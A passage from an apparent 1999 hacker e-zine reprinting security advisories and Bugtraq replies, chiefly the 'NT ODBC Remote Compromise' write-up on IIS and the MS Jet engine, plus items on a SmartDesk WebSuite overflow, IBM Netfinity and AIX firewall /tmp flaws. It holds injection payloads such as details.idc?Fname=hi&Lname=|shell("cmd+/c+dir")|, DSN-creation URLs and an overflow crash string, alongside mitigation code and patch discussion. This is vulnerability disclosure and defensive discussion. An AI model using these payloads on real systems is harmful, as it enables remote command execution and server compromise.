  10682.       Just some really quick background on ODBC & DSNs: an application
  10683.       'connects' to the ODBC service specifying a specific DSN to query to.  The
  10684.       DSNs are defined in the ODBC32 applet of the control panel.  Each DSN is
  10685.       basically a description of the name of the DSN, the drivers to use (in our
  10686.       case, the MS Jet/Access drivers), and location of the actual database (a
  10687.       .mdb file somewhere in the filesystem).  We could also have DSNs that used
  10688.       drivers such as Oracle or MS Sql, and the location would be another
  10689.       server.  The whole point is that you only need to know the DSN name--ODBC
  10690.       will take care of where and how the actual database is to be used.
  10691.       
  10692.       So, great, these scripts query a DSN by name.  Well, there are times were
  10693.       a server can have the scripts we mention, but when ran, you get an error
  10694.       saying DSN is not found.  So now what?  Well, if it's an IIS server, check
  10695.       for the existance of /scripts/tools/newdsn.exe.  Yes, IIS includes CGI
  10696.       appliations *to make DSNs*.  If the server doesn't have the DSN we need,
  10697.       we can just make it for them.  We only need newdsn.exe, but it's possible
  10698.       to use a 'GUI' through getdrvrs.exe and dsnform.exe.  Here's a flowchart:
  10699.       
  10700.               http://server/scripts/tools/getdrvrs.exe
  10701.               -> pick Microsoft Access Driver (*.mdb)
  10702.               -> Enter in the correct DSN name
  10703.               -> Enter a location for the .mdb, example: c:\web.mdb
  10704.               -> Submit
  10705.       
  10706.       This will create the DSN.  If you want to be ultra-elite and do it the
  10707.       hard way, you can pass all the parameters to newdsn.exe like so:
  10708.       
  10709.               http://server/scripts/tools/newdsn.exe?driver=Microsoft%2B
  10710.               Access%2BDriver%2B%28*.mdb%29&dsn=DSN_name&dbq=c:\web.mdb&
  10711.               newdb=CREATE_DB&attr=
  10712.       
  10713.               **all one line, no spaces
  10714.       
  10715.       Where dsn is the name you want, and dbq is the file location.  So for all
  10716.       the examples, we'll include the DSN name, just in case you have to create
  10717.       it.
  10718.       
  10719.       --[ IIS Sample Applications
  10720.       
  10721.       According to Russ Cooper of NTBugtraq, sample application problems are
  10722.       stupid and we shouldn't waste our time talking about them.  He's already
  10723.       denied posts from myself, David Litchfield, and others.  So, if you lived
  10724.       in Russ's little world, you won't have any of the following sample apps
  10725.       installed on your server, so you should just stop reading this article
  10726.       right now.  But for those of you who realize it's just not that simple,
  10727.       perhaps you can learn something here.  Also note this goes beyond sample
  10728.       scripts--they're just being used as a command reference example.
  10729.       
  10730.       Anyways, a good example script is
  10731.       
  10732.               http://server/scripts/samples/details.idc?Fname=&Lname=
  10733.       
  10734.       stick your shellcode in for either Fname or Lname, like so:
  10735.       
  10736.               details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|
  10737.       
  10738.       This uses DSN named "Web SQL" (notice the space).  However, this causes
  10739.       problems, because the actual table must be initialized in the DSN.  Never
  10740.       pheer, scripts are here!  Run
  10741.       
  10742.               http://server/scripts/samples/ctguestb.idc
  10743.       
  10744.       after you create the DSN (if you had to) and before you run details.idc
  10745.       
  10746.       --[ MSADC (IIS 4.0)
  10747.       
  10748.       Starting with IIS 4.0, Microsoft bundled a way to do remote SQL queries on
  10749.       a DSN simply by interfacting via HTTP to a specific .dll.  Bug?  Hole?
  10750.       Nope, in the documentation Microsoft states that having MSADC installed
  10751.       could lead to security problems.
  10752.       
  10753.       The particular .dll is at
  10754.       
  10755.               http://server/msadc/msadcs.dll
  10756.       
  10757.       Now the particular problem is that there's a slightly custom way to
  10758.       interface to the .dll, using multipart-forms.  So it's beyond the scope of
  10759.       just typing in a paramter by hand.  So there's two options.
  10760.       
  10761.       One is to see if the server also has the (optional) interface installed.
  10762.       Check out for the existance of
  10763.       
  10764.               http://server/msadc/samples/adctest.asp
  10765.               
  10766.               ** Note: you have to use Internet Explorer 4.0+ for this
  10767.       
  10768.       This will give you a Java/Javascript interface that allows you to specify
  10769.       the DSN, uid/password, and SQL string to execute.  Note that you'll have
  10770.       to obtain the table structure for the DSNs mentioned herein, because
  10771.       you'll need to construct a valid SQL statement.
  10772.       
  10773.       The other option is to obtain those files yourself from another server, or
  10774.       download and install the MS RDS/ADO/ADC components.  Look at
  10775.       
  10776.               http://www.microsoft.com/data/ado/
  10777.       
  10778.       for more info and where to download.
  10779.       
  10780.       ** One note is that the Java interface lets you specify which server to
  10781.       use.  So you can open the interface locally, off your own server, or find
  10782.       it on server 1, and specify to run SQL commands against whatever DSN on
  10783.       server 2.
  10784.       
  10785.       The one caveat is that error information is not displayed.  It helps to
  10786.       have a sniffer going to see if what ODBC error messages are returned, if
  10787.       any.  If you don't get a record listing, you might want to see what the
  10788.       error was.
  10789.       
  10790.       Now, what to do?
  10791.       
  10792.       You can obviously just execute SQL commands that contain the pipe
  10793.       character.  For instance:
  10794.       
  10795.               Connection: DSN=AdvWorks
  10796.               Query: Select * from Products where ProductType='|shell("")|'
  10797.       
  10798.               ** Insert your shellcode in the shell() function
  10799.       
  10800.       --[ Sign-Off
  10801.       
  10802.       Well, I'm sure that's enough to chew for a bit.  Sorry, the examples
  10803.       weren't as in-depth as usual--you'll just have to be satisfied with
  10804.       theory. :)
  10805.       
  10806.       Matthew Astley [RCPS] http://www.fruitcake.demon.co.uk
  10807.       
  10808.       .rain.forest.puppy. [WireTrip] rfp@wiretrip.net
  10809.       .many thanks to Matthew for working on this project together. :>
  10810.       .greetings to (#!)ADM, (#)Rhino9, and Phrack
  10811.       .special thanks to joewee & antilove for giving me a hard time; stran9er
  10812.       .for all the fun chats and setting me straight; and everyone else I forgot
  10813.       .before these greets become longer than the advisory. :) Oh, and el8.org rox.
  10814.       
  10815.       --[ This advisory is ISO 31337 certified.  Fact of life: ADM > *
  10816.       
  10817.       ----------------------------------------------------------------------------------
  10818.       
  10819.       Date: Tue, 25 May 1999 22:00:42 +0100
  10820.       From: Vittal Aithal <vittal.aithal@REVOLUTIONLTD.COM>
  10821.       To: BUGTRAQ@netspace.org
  10822.       Subject: Re: Advisory: NT ODBC Remote Compromise
  10823.       
  10824.           [ The following text is in the "iso-8859-1" character set. ]
  10825.           [ Your display is set for the "US-ASCII" character set.  ]
  10826.           [ Some characters may be displayed incorrectly. ]
  10827.       
  10828.       Here's some javascript stuff that'll clean up quotes and things before
  10829.       having them sent off in a sql query... only tested with access, so YMMV.
  10830.       
  10831.         function cleanSql (str) {
  10832.           var newStr = "";
  10833.           str = "" + str;
  10834.           var oneChar = (str.length == 1);
  10835.           if (str.length == 0) { return "null"; }
  10836.           for (var i = 0; i < str.length; i++) {
  10837.             var repStr = "";
  10838.             if (str.charAt(i) == "'") { newStr += "''"; }
  10839.             else if (str.charAt(i) == "|") { repStr = 124; }
  10840.             else if (str.charAt(i) == "\"") { repStr = 34; }
  10841.             else { newStr += str.charAt(i); }
  10842.             if (repStr) {
  10843.               if (i == 0 && !oneChar) {
  10844.                 newStr += "CHR(" + repStr + ") &'";
  10845.               } else if (i == str.length - 1 && !oneChar) {
  10846.                 newStr += "' & CHR(" + repStr + ")";
  10847.               } else if (!oneChar) {
  10848.                 newStr += "' & CHR(" + repStr + ") & '";
  10849.               } else {
  10850.                 newStr += "CHR(" + repStr + ")";
  10851.               }
  10852.             }
  10853.             if (!repStr && i == 0) {
  10854.               newStr = "'" + newStr;
  10855.             }
  10856.             if (!repStr && i == str.length - 1) {
  10857.               newStr += "'";
  10858.             }
  10859.           }
  10860.           return newStr;
  10861.         }
  10862.       
  10863.       not elegant, but it does work, and stop |'s getting through.
  10864.       
  10865.       
  10866.       
  10867.       bye
  10868.       vittal
  10869.       
  10870.       --
  10871.       Vittal Aithal
  10872.       Revolution Ltd <tel: 0181 267 1000> <fax: 0181 267 1066>
  10873.       <vittal.aithal@revolutionltd.com> <http://www.revolutionltd.com/>
  10874.       <vittal.aithal@bigfoot.com> <http://www.bigfoot.com/~vittal.aithal/>
  10875.       
  10876.       ----------------------------------------------------------------------------------
  10877.       
  10878.       Date: Tue, 25 May 1999 14:43:25 -0700
  10879.       From: Bigby Findrake <bigby@HOME.SHIVA.EU.ORG>
  10880.       To: BUGTRAQ@netspace.org
  10881.       Subject: Re: Advisory: NT ODBC Remote Compromise
  10882.       
  10883.       On Tue, 25 May 1999, Vittal Aithal wrote:
  10884.       
  10885.       > Here's some javascript stuff that'll clean up quotes and things before
  10886.       > having them sent off in a sql query... only tested with access, so YMMV.
  10887.       
  10888.       Do keep in mind that while this will stop people from using the
  10889.       aforementioned exploits *only when using your forms*.  It is still
  10890.       possible to download your web pages, remove the javascript hooks, and then
  10891.       submit their information, or call the CGI(if method GET is accepted) by
  10892.       hand and get around such security measures.
  10893.       
  10894.       ----------------------------------------------------------------------------------
  10895.       
  10896.       Date: Wed, 26 May 1999 09:01:26 +0100
  10897.       From: Vittal Aithal <vittal.aithal@REVOLUTIONLTD.COM>
  10898.       To: BUGTRAQ@netspace.org
  10899.       Subject: Re: Advisory: NT ODBC Remote Compromise
  10900.       
  10901.       Just to clarify my earlier posting;
  10902.       
  10903.       The code I posted was server-side ASP Javascript. As a number of people
  10904.       have/will point out, running it at the client isn't going to help.
  10905.       
  10906.       I suspect the same methodology could be applied for other environments
  10907.       (coldfusion / perl DBI::DBD / php / etc).
  10908.       
  10909.       
  10910.       cheers
  10911.       vittal
  10912.       
  10913.       ----------------------------------------------------------------------------------
  10914.       
  10915.       Date: Wed, 26 May 1999 18:56:05 +0200
  10916.       From: Bronek Kozicki <bronek@wpi.com.pl>
  10917.       To: BUGTRAQ@netspace.org
  10918.       Subject: Re: Advisory: NT ODBC Remote Compromise
  10919.       
  10920.       Hello
  10921.       
  10922.       I have run some testing. Seems to me that this error has been repaired in
  10923.       MSJET40, but exists in MSJET35. Effectively, if Jet 4 is installed (and it's
  10924.       used by ODBC) ther's no problem with .IDC files. If one does not have Jet 4
  10925.       and is using .IDC to open Jet databases (I have not verified this) I belive
  10926.       this is dangerous situation, described by Matthew Astley.
  10927.       
  10928.       Because MS Access 97 is using Jet 3.5 (even if Jet 4 is installed), the
  10929.       problem still can be seen there.
  10930.       
  10931.       If instead of .IDC (which is considered obsolete) one is using .ASP + ADODB,
  10932.       and ADODB provider used is "Microsoft.Jet.OLEDB.3.51"  (i.e. older than
  10933.       "4.0") then problem still exists.
  10934.       
  10935.       It's worthy to notice that SQL implementation used in both Jet 4 and Jet 3.5
  10936.       is little different. Thus applications (in some situations) cannot be simple
  10937.       ported from one to another. One thing I found is different handling of
  10938.       single- and double-qoute character. MS still have not documented differences
  10939.       (or I had no luck to find it). AFAIK MS Jet 4 comes with  Microsoft Data
  10940.       Access 2.1 (MSDAC21).
  10941.       
  10942.       Details:
  10943.       
  10944.       System: WinNT Wrkst 4 US, SP5 , IE5 , IIS 4 (Option Pack), ODBC MS Access
  10945.       Driver 4.00.3513.00, other (cursor library, administrator etc.) ODBC files
  10946.       3.510.3711.0
  10947.       Database: Access 97, Jet 3.51.2026.0 (I have also Jet 4.00.2115.25
  10948.       installed, but Access 97 uses older version)
  10949.       Table "guests" as described in Web SQL.
  10950.       Query "SecurityTest" as bellow:
  10951.         SELECT FirstName, LastName FROM Guests WHERE LastName =
  10952.       '|Shell("notepad.exe",1)|';
  10953.       
  10954.       What happens:
  10955.       - If I open the query under MS Access, it opens Notepad app and shows the
  10956.       (empty) resultset. So far mentioned SQL "feature" works.
  10957.       
  10958.       - If I use MSQRY32.EXE to open the database (), nothing more happen than
  10959.       showing the resultset (empty one).  The same if I run SQRY32 from within MS
  10960.       Excel ("Get Externala Data")
  10961.       
  10962.       - I created TEST.IDC file as bellow (and TEST.HTX, of course):
  10963.       Datasource: Web SQL
  10964.       Username: sa
  10965.       Template: details.htx
  10966.       SQLStatement:
  10967.       +SELECT FirstName, LastName
  10968.       +FROM SecurityTest
  10969.       and opened it through HTTP. The only result is an empty resultset. I checked
  10970.       list of processes (using TLIST.EXE) and notepad was not run.
  10971.       
  10972.       - I created TEST2.IDC file as bellow:
  10973.       Datasource: Web SQL
  10974.       Username: sa
  10975.       Template: details.htx
  10976.       SQLStatement:
  10977.       +SELECT FirstName, LastName
  10978.       +FROM Guests
  10979.       +WHERE LastName <> '|Shell("notepad.exe",1)|'
  10980.       the same. Notepad did not run.
  10981.       
  10982.       - I created very simple .ASP
  10983.       <HTML>
  10984.       <HEAD>
  10985.       <%
  10986.       Param = Request.QueryString("Param")
  10987.       Data = Request.QueryString("Data")
  10988.       %>
  10989.       </HEAD>
  10990.       
  10991.       <BODY>
  10992.       <%
  10993.       Set Conn1 = CreateObject("ADODB.Connection")
  10994.       'strConn = "Provider=Microsoft.Jet.OLEDB.3.51;Data
  10995.       Source=c:\temp\test.mdb;Mode=Read"
  10996.       strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data
  10997.       Source=c:\temp\test.mdb;Mode=Read"
  10998.       strSQL = "SELECT FirstName , LastName FROM SecurityTest"
  10999.       
  11000.       Conn1.Open strConn
  11001.       Set RSet1 = Conn1.Execute(strSQL)
  11002.       RSet1.Close
  11003.       Conn1.Close
  11004.       %>
  11005.       </BODY>
  11006.       </HTML>
  11007.       Notice that there are 2 connection strings, one is used and the other
  11008.       commented out. Upper connection string ("Provider=Microsoft.Jet.OLEDB.3.51")
  11009.       is UNSAFE. When I opened .ASP it started NOTEPAD.EXE in the context of  WWW
  11010.       server. If WWW client can type-in any literal into HTML form, pass it to
  11011.       .ASP application (for exaple to be used in "WHERE" clause) and it remains
  11012.       non-parsed, then he/she will be able to run ANY code in the context of
  11013.       LocalSystem. If such a WWW server is also domain controller ... well, I'm
  11014.       bit scared to think about. Lower connection string
  11015.       ("Provider=Microsoft.Jet.OLEDB.4.0") seems to be safe.
  11016.       
  11017.       I hope somebody can verify my tests. Most important point is that while .IDC
  11018.       files are using current ODBC it strongly depends on configuration of the
  11019.       system. If Jet 4 is installed and is used by ODBC, we are safe. The same
  11020.       applies to .ASP + ODBC. On the other side is .ASP + ADODB, where Jet engine
  11021.       can be explicitly selected. If Jet older than 4 is used then we have
  11022.       dangerous situation. Fortunately in .ASP we can easily parse strings passed
  11023.       >from WWW client (like Vittal Aithal did in JavaScript, but function will be
  11024.       run on the server side).
  11025.       
  11026.       Regards.
  11027.       
  11028.       
  11029.       Bronek Kozicki
  11030.       
  11031.       --------------------------------------------------
  11032.       ICQ UID: 25404796            PGP KeyID: 0x4A30FA9A
  11033.       07EE 10E6 978C 6B33 5208  094E BD61 9067 4A30 FA9A
  11034.       
  11035.       
  11036.       
  11037.       : -----Original Message-----
  11038.       : From: Bugtraq List [mailto:BUGTRAQ@NETSPACE.ORG]
  11039.       : Sent: Tuesday, May 25, 1999 9:00 PM
  11040.       : To: BUGTRAQ@NETSPACE.ORG
  11041.       : Subject: Advisory: NT ODBC Remote Compromise
  11042.       :
  11043.       :
  11044.       : --[ Advisory: NT ODBC Remote Compromise
  11045.       :
  11046.       : --[ By Matthew Astley      [RCPS]        http://www.fruitcake.demon.co.uk
  11047.       : --[  & Rain Forest Puppy   [WireTrip]    rfp@wiretrip.net
  11048.       :
  11049.       : --[ Brief Summary
  11050.       :
  11051.       : MS Jet database engine (which runs Access databases) allows an individual
  11052.       : to embed VBA in string expressions, which may allow the individual to run
  11053.       : commandline NT commands.  This, combined with the flaw of IIS running ODBC
  11054.       : commands as system_local allow a remote attacker to have full control of
  11055.       : the system.  Other webservers may be affected.  Many MS Jet engines are
  11056.       : affected, but may not lead to elevated priviledges.
  11057.       
  11058.       Here's something that does not work for me. ODBC is not using Jet "feature"
  11059.       run embed VBA expression. It seems to use different database engine.
  11060.       
  11061.       : --[ Background
  11062.       :
  11063.       : ODBC allows a program flexible access to one or more relational databases
  11064.       : using SQL. If a client fails to quote correctly the meta characters in a
  11065.       : piece of data used in an SQL query, an attacker may be able to interfere
  11066.       : with the tables in the database (see MS SQL appension 'feature' in Phrack
  11067.       : 54, article 8).
  11068.       
  11069.       That's true, but not connected to the subject. Attacker seems not to use
  11070.       Jet, while "feature" exists just there. At least on my system.
  11071.       
  11072.       : However, the Microsoft "Jet" database engine (aka MS Access) provides some
  11073.       : extensions to SQL which allow the execution of VBA (Visual Basic for
  11074.       : Applications). This makes holes in meta character quoting code much more
  11075.       : interesting and dangerous.
  11076.       
  11077.       That's true.
  11078.       
  11079.       [cut]
  11080.       
  11081.       ----------------------------------------------------------------------------------
  11082.       
  11083.       Date: Thu, 27 May 1999 15:48:48 -0400
  11084.       From: Russ <Russ.Cooper@RC.ON.CA>
  11085.       To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  11086.       Subject: Re: Advisory: NT ODBC Remote Compromise
  11087.       
  11088.       I've had 2 individuals suggest that MDAC 2.1 solves the problems
  11089.       described by rfp@wiretrip.net regarding NT ODBC and Access. There is
  11090.       also another message on Bugtraq suggesting the same thing.
  11091.       
  11092.       Daryl Banttari [daryl@windsorcs.com] reports that Allaire's ColdFusion
  11093.       product is vulnerable to the same attack when using Access datasources,
  11094.       but appears not to be vulnerable after installing MDAC 2.1.
  11095.       
  11096.       I could put a direct link here to MDAC 2.1, but the fact is that you
  11097.       should not simply upgrade to it without understanding what it changes
  11098.       (and what effect those changes may have on your existing environment).
  11099.       So instead, I give you;
  11100.       
  11101.       http://www.microsoft.com/data/MDAC21info/MDAC21GAmanifest.htm
  11102.       
  11103.       which has a ton of information about the MDAC 2.1 release.
  11104.       
  11105.       Cheers,
  11106.       Russ - NTBugtraq Editor
  11107.       
  11108.       ----------------------------------------------------------------------------------
  11109.       
  11110.       Date: Thu, 27 May 1999 17:20:45 -0500
  11111.       From: Jesper M. Johansson <jesper.m.johansson-1@UMN.EDU>
  11112.       To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  11113.       Subject: Re: Advisory: NT ODBC Remote Compromise
  11114.       
  11115.       >I could put a direct link here to MDAC 2.1, but the fact is that you
  11116.       >should not simply upgrade to it without understanding what it changes
  11117.       >(and what effect those changes may have on your existing environment).
  11118.       >So instead, I give you;
  11119.       >
  11120.       >http://www.microsoft.com/data/MDAC21info/MDAC21GAmanifest.htm
  11121.       
  11122.       If you are using Excel data sources and are updating data in them you will
  11123.       want to keep in mind that upgrading to MDAC 2.1 will break those data
  11124.       sources. MDAC 2.1 no longer supports the update method for Excel data
  11125.       sources. This will, for example, cause Cold Fusion to access violate, and
  11126.       often causes crashes in InetSrv.exe if you are using IIS. Unfortunately, MS
  11127.       forgot to mention that in the document Russ pointed to.
  11128.       
  11129.       Jesper
  11130.       
  11131.       Jesper.M.Johansson-1@umn.edu
  11132.       Ph.D. Candidate, University of Minnesota
  11133.       Editor, SANS NT Digest
  11134.       MCSE , MCP + I
  11135.       http://ids.csom.umn.edu/jesper
  11136.       "Juris Praecepta sunt haec: honeste vivere,
  11137.       alterum non laedere, suum cuique tribuere"
  11138.             Ulpian
  11139.       
  11140.       @HWA     
  11141.       
  11142.  53.0 Advisory: Buffer overflow in SmartDesk WebSuite v2.1
  11143.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11144.  
  11145.       Advisory: Buffer overflow in SmartDesk WebSuite v2.1
  11146.       Platforms Affected: Windows NT, Windows 98
  11147.       Found by: cmart (cmart@staticusers.net)
  11148.       Date: 5/23/99
  11149.       
  11150.       Description:
  11151.       ----------- 
  11152.       WebSuite v2.1 will crash when an additional 250+ characters
  11153.       is appended after the sites URL on NT Server 4 and NT 
  11154.       Workstation 4 boxes.
  11155.       
  11156.       Running on top of Windows 98 it will crash with 150+ characters 
  11157.       appended after the sites URL. 
  11158.       
  11159.       After reinstallating on both platforms several times, the
  11160.       overflow string length varied.  Approximately 1 out of 8 times
  11161.       the overflow string went from 150 chars (Win98) to about
  11162.       1000+ chars.  It also went from 250+ chars (NT) to about
  11163.       2000+ chars.
  11164.       
  11165.       After the server crashes on NT Workstation 4, it's unable
  11166.       to find the lib file sysclass.flb.  (On our tests).
  11167.       
  11168.       Details:
  11169.       -------
  11170.       [Windows NT]
  11171.       http://hostname/00000000000000000000000000000000000000000000
  11172.       000000000000000000000000000000000000000000000000000000000000
  11173.       000000000000000000000000000000000000000000000000000000000000
  11174.       000000000000000000000000000000000000000000000000000000000000
  11175.       00000000000000000000000000
  11176.       
  11177.       SDWEBSRV.EXE crashes.
  11178.       
  11179.       [Windows 98]
  11180.       http://hostname/00000000000000000000000000000000000000000000
  11181.       000000000000000000000000000000000000000000000000000000000000
  11182.       0000000000000000000000000000000000000000000000
  11183.       
  11184.       SDWEBSRV.EXE crashes.
  11185.       
  11186.       -----------------------------
  11187.       cmart | cmart@staticusers.net
  11188.       http://winntsec.com
  11189.       -----------------------------
  11190.       
  11191.       @HWA 
  11192.  
  11193.  54.0 Security Leak with IBM Netfinity Remote Control Software
  11194.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11195.  
  11196.       Date: Tue, 25 May 1999 13:05:56 -0400
  11197.       From: Russ <Russ.Cooper@RC.ON.CA>
  11198.       To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  11199.       Subject: Security Leak with IBM Netfinity Remote Control Software
  11200.       
  11201.       On May 10th, 1999, Thomas Krug reported to NTBugtraq;
  11202.       
  11203.       >Hi,
  11204.       >
  11205.       >I found a method to run programs like regedit and user manager with
  11206.       >admin right using the above tool. The following testscenario has
  11207.       >been used:
  11208.       >
  11209.       >PC with Windows NT Workstation in a Domain
  11210.       >Registry has been secured (especially HKLM)
  11211.       >The User has no local admin rights and is in no admin group.
  11212.       >The execution of regedit and regedt32 has been forbidden by system
  11213.       >policy.
  11214.       >
  11215.       >When running the Netfinity Client and starting the process manager
  11216.       >(view, close and execute processes) and run for instance
  11217.       >regedit.exe or musrmgr.exe the programs run under the user
  11218.       >configured with the netfinity service, either the system account
  11219.       >or an admin.
  11220.       >
  11221.       >Thomas
  11222.       
  11223.       After an incredibly difficult journey through the labyrinth of IBM's
  11224.       support groups, I finally spoke to a Ted McDaniels who, reportedly, was
  11225.       responsible for support of the IBM Netfinity RCS.
  11226.       
  11227.       After explaining Tom's issues with the product, Ted acknowledged that
  11228.       IBM Netfinity RCS was "built with very little security in mind". He also
  11229.       expressed doubt that any "fix" might be made to it to give it even the
  11230.       most rudimentary NT security understandings.
  11231.       
  11232.       IBM did promise to send some sort of explanation to NTBugtraq regarding
  11233.       Thomas' findings, however, Ted has now gone on vacation and we're left
  11234.       with nothing from them.
  11235.       
  11236.       Can you detect how disappointed I am with IBM's reaction and handling of
  11237.       this issue?
  11238.       
  11239.       Thomas' company was in the process of ripping out IBM Netfinity RCS when
  11240.       he originally submitted the issue, and all indications are that anyone
  11241.       using IBM Netfinity RCS, or considering using it, should do the same.
  11242.       
  11243.       Bottom line, there is no way to control what a user can or cannot do
  11244.       with the "Process Manager" component of IBM Netfinity RCS, and clearly
  11245.       they are able to usurp all other controls you might have placed on your
  11246.       NT environment should the product be present. The service *must* be run
  11247.       as either SYSTEM or ADMINISTRATOR.
  11248.       
  11249.       If anyone has found a way to avoid the *HUGE SECURITY HOLE* this product
  11250.       creates in an NT environment, please let us know.
  11251.       
  11252.       Cheers,
  11253.       Russ - NTBugtraq Editor
  11254.       
  11255.       @HWA     
  11256.       
  11257.  55.0 IBM eNetwork Firewall for AIX
  11258.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11259.  
  11260.       Date: Tue, 25 May 1999 20:33:53 +0100
  11261.       From: Paul Cammidge <paul@PCCC.CO.ZA>
  11262.       To: BUGTRAQ@netspace.org
  11263.       Subject: IBM eNetwork Firewall for AIX
  11264.       
  11265.       The IBM eNetwork Firewall for AIX contains some poorly written scripts,
  11266.       which create temporary files in /tmp without making any attempt to
  11267.       validate the existance of the file.  This allows any user with shell
  11268.       access to such a firewall to corrupt or possibly modify system files by
  11269.       creating links, pipes, etc with the same name.
  11270.       
  11271.       In a simple example submitted to IBM, /etc/passwd was overwritten.  This
  11272.       example has been published on one of their support web pages as a 'local
  11273.       fix'.
  11274.       
  11275.       The problem was reported to IBM early in January.  To the best of my
  11276.       knowledge, the correct procedures have been followed.  Initially, IBM
  11277.       responded by telling me that it was common practice for software to make
  11278.       use of /tmp.  They suggested changing the permissions to prevent users
  11279.       >from creating symbolic links to sensitive files.
  11280.       
  11281.       An APAR (IR39562) was opened on 18/01/99 and closed on 13/03/99.  The
  11282.       fix has not yet been released.  This definately applies to version 3.2,
  11283.       and probably others.
  11284.       
  11285.       Anyone running this software and has users with shell accounts should be
  11286.       aware that the potential exists for these users to corrupt files which
  11287.       they dont have access to.
  11288.       
  11289.       cheers
  11290.       paul
  11291.       
  11292.       --------------------------------------------------------------------------
  11293.       
  11294.       Date: Sat, 29 May 1999 00:29:25 +0200
  11295.       From: Marc Heuse <marc@SUSE.DE>
  11296.       To: BUGTRAQ@netspace.org
  11297.       Subject: Re: IBM eNetwork Firewall for AIX
  11298.       
  11299.       Hi Paul,
  11300.       
  11301.       > The IBM eNetwork Firewall for AIX contains some poorly written scripts,
  11302.       > which create temporary files in /tmp without making any attempt to
  11303.       > validate the existance of the file.  This allows any user with shell
  11304.       > access to such a firewall to corrupt or possibly modify system files by
  11305.       > creating links, pipes, etc with the same name.
  11306.       
  11307.       your are right, all their scripts have got link vulnerabilities ...
  11308.       
  11309.       > The problem was reported to IBM early in January.  To the best of my
  11310.       > knowledge, the correct procedures have been followed.  Initially, IBM
  11311.       > responded by telling me that it was common practice for software to make
  11312.       > use of /tmp.  They suggested changing the permissions to prevent users
  11313.       > from creating symbolic links to sensitive files.
  11314.       
  11315.       when I found these in an audit at a customer in february, I opened an APAR
  11316.       too, but then discovered yours. When I saw that yours was opened a month
  11317.       before mine and not being dealt with, I made noise at IBM management and
  11318.       the AIX Security Team, that they issued an emergency fix.
  11319.       But this fix only available for those who know that it exists - anyway, the
  11320.       quick fix still has /tmp races all over the place - they just added "rm -f
  11321.       file" the line before writing into it ....
  11322.       
  11323.       > An APAR (IR39562) was opened on 18/01/99 and closed on 13/03/99.  The
  11324.       > fix has not yet been released.  This definately applies to version 3.2,
  11325.       > and probably others.
  11326.       
  11327.       I heard that the next IBM Firewall version will fix this ... bah - maybe
  11328.       with that quick "fix" ...
  11329.       
  11330.       But to set one thing straight: It's *not* IBM's fault. The IBM Firewall is a
  11331.       product of another company called Raleigh (I hope thats spelled correctly).
  11332.       In fact, the IBM AIX Security Team, especially Troy Bollinger, was very
  11333.       helpful and getting a fix - a correct one - out. It's the other company
  11334.       who writes security software but really seems to have no knowledge.
  11335.       sad but true
  11336.       
  11337.       Greets,
  11338.               Marc
  11339.       --
  11340.          Marc Heuse, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg
  11341.          E@mail: marc@suse.de  Function: Security Support & Auditing
  11342.          "lynx -source http://www.suse.de/~marc/marc.pgp | pgp -fka"
  11343.       Key fingerprint = B5 07 B6 4E 9C EF 27 EE  16 D9 70 D4 87 B5 63 6C
  11344.       
  11345.       @HWA
  11346.  
  11347.       
  11348.                                       
  11349.  AD.S ADVERTI$ING.           The HWA black market                    ADVERTISEMENT$.
  11350.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  11351.        *****************************************************************************
  11352.        *                                                                           *
  11353.        *           ATTRITION.ORG     http://www.attrition.org                      *
  11354.        *           ATTRITION.ORG     Advisory Archive, Hacked Page Mirror          *
  11355.        *           ATTRITION.ORG     DoS Database, Crypto Archive                  *
  11356.        *           ATTRITION.ORG     Sarcasm, Rudeness, and More.                  * 
  11357.        *                                                                           *
  11358.        *****************************************************************************
  11359.        
  11360.        <img src="http://www.csoft.net/~hwa/canc0n.gif"> <br>    Come.to/Canc0n99</a>
  11361.        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  11362.        http://come.to/Canc0n99  http://come.to/Canc0n99 http://come.to/Canc0n99http:j
  11363.        http:/                                                               99 http:o
  11364.        http:/  login: sysadmin                                              n99 httpi
  11365.        /come.  password:                                                    tp://comn
  11366.        to/Can                                                               me.to/Cat
  11367.        c0n99   SYSTEM NEWS: Canc0n99 is looking for more speakers and       Canc0n99h
  11368.        http:/  industry people to attend with booths and talks.             99 http:e
  11369.        /come.  you could have a booth and presentation for the cost of      p://comel
  11370.        http:/  little more than a doorprize (tba) contact us at our main    n99http:i
  11371.        http:/  address for info hwa@press.usmc.net, also join the mailing   n99http:s
  11372.        http:/  for updates. This is the first Canadian event of its type    invalid t
  11373.        403 Fo  and will have both white and black hat attendees, come out   logged! !
  11374.        404 Fi  and shake hands with the other side... *g* mainly have some  IP locked
  11375.        ome.to  fun and maybe do some networking (both kinds). see ya there! hostname 
  11376.        http:/                                                               x99http:x
  11377.        o/Canc                                                               x.to/Canx                 
  11378.        http://come.to/Canc0n99  http://come.to/Canc0n99 http://come.to/Canc0n99http:x
  11379.        o/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canx
  11380.         http://come.to/Canc0n99  http://come.to/Canc0n99  http://come.to/Canc0n99 
  11381.  <a href="http://come.to/Canc0n99">Canc0n99</a> <a href="http://come.to/Canc0n99">Canc0n99</a>
  11382.        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
  11383.         
  11384.        $$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$$
  11385.        !                                                                            !       
  11386.        $                                                                            $       
  11387.        !     *** IT HAS BEEN FOUR YEARS! ***    FREE KEVIN MITNICK NOW!!!! **       !
  11388.        $                                                                            $              
  11389.        !                                                                            !
